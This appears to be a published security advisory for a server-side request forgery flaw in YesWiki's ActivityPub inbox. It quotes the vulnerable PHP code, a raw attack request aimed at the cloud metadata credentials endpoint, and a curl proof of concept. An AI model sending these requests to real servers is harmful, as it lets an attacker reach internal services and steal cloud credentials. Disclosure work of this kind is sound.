high

CVE-2026-52769

Packagist · yeswiki/yeswiki

Summary

YesWiki has Unauthenticated Server-Side Request Forgery via ActivityPub `Signature.keyId`

Severity
high
CVSS
8.3
EPSS
0.3% (p22)
CWE
CWE-918
Also known as
GHSA-vw42-752g-5mrp
Published
2026-07-09
Updated
2026-07-09

Advisory details

Summary

The POST /api/forms/{formId}/actor/inbox route - exposed publicly with acl:"public" - accepts an HTTP Signature header whose keyId parameter is a URL. HttpSignatureService::verifySignature() parses the header and immediately makes a server-side HTTP GET to that URL, before any cryptographic verification or URL validation. An unauthenticated remote attacker can therefore make YesWiki issue arbitrary outbound HTTP requests to any host the server can reach - internal services, cloud-metadata endpoints (169.254.169.254), intranet-only admin panels, etc. - and read enough back via timing and error-message oracles to scan ports, enumerate services, and (on a real cloud instance) reach IAM metadata.

The only deployment-side precondition is that ActivityPub be enabled on at least one Bazar form (bn_activitypub_enable = '1').

Details

Affected component

// tools/bazar/services/HttpSignatureService.php  (v4.6.5 = origin/doryphore-dev HEAD,
// lines 83–100)
public function verifySignature(Request $request) {
    if (!$request->headers->has('Signature')) {
        throw new Exception('No signature');
    }

    $sigConf = parse_ini_string(
        strtr($request->headers->get('Signature'), ["," => "\n"])           // (a) attacker controls every field
    );

    if (!isset($sigConf['keyId'],$sigConf['algorithm'],$sigConf['headers'],$sigConf['signature'])) {
        throw new Exception('Malformed signature');
    }

    $response = $this->httpClient->request('GET', $sigConf['keyId'], [    // (b) SINK — no validation,
        'headers' => [ 'Accept' => 'application/ld+json']                 //     no allowlist, no scheme
    ]);                                                                  //     pinning, no IP filtering
    ...
}

The inbox controller calls verifySignature() before running any cryptography:

// tools/bazar/controllers/ApiController.php  (lines 125–145)
/** @Route("/api/forms/{formId}/actor/inbox", methods={"POST"}, options={"acl":{"public"}}) */
public function postFormActorInbox($formId, Request $request)
{
    $activityPubService   = $this->getService(ActivityPubService::class);
    $httpSignatureService = $this->getService(HttpSignatureService::class);

    $form = $this->getService(BazarListService::class)->getForms(['idtypeannonce' => $formId])[$formId];

    if ($activityPubService->isEnabled($form)) {
        $activity = json_decode($request->getContent(), true);

        $httpSignatureService->verifySignature($request);     // <-- SSRF fires here
        $activityPubService->processActivity($activity, $form);
        return new ApiResponse(null, Response::HTTP_OK, …);
    } else {
        throw new NotFoundHttpException();
    }
}

The flow is public ACL → enabled-form gate → unconditional outbound HTTP. The attacker controls only the keyId value and never has to produce a valid signature, because the outbound fetch is the very first thing that touches the network.

End-to-end attack chain

A single HTTP request, no session, no CSRF token, no captcha:

POST /?api/forms/1/actor/inbox HTTP/1.1
Host: target.example
Content-Type: application/activity+json
Signature: keyId="http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>",algorithm="rsa-sha256",headers="x",signature="y"

{}

PoC

Pre Reqs

For the rest of this document:

BASE="http://localhost:8085"
CTR="yeswiki-poc"

Before we start, make sure ActivityPub is enabled on the target form

podman exec "$CTR" mysql -uroot yeswiki -e \
    "SELECT bn_id_nature AS id, bn_label_nature AS form, bn_activitypub_enable AS ap
     FROM yeswiki_nature WHERE bn_id_nature = 1;"

Send the unauthenticated SSRF trigger:

TARGET="http://127.0.0.1:9999/aws-metadata?from=ssrf"

curl -s -X POST "${BASE}/?api/forms/1/actor/inbox" \
     -H "Content-Type: application/activity+json" \
     -H "Signature: keyId=\"${TARGET}\",algorithm=\"rsa-sha256\",headers=\"x\",signature=\"y\"" \
     -d '{}' \
     -w '\n  HTTP %{http_code}, elapsed=%{time_total}s\n'

You will get an error in response like this:

{"exceptionMessage":"Exception: Missing public key in /var/www/html/tools/bazar/services/HttpSignatureService.php:103\nStack trace:…"}
  HTTP 500, elapsed=0.15s

The 500 and the "Missing public key" exception are the signal the outbound fetch went all the way to the JSON parse — the listener returned {}, which contained no publicKey field, so the handler bailed after talking to the listener.

Tested with webhook: image

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.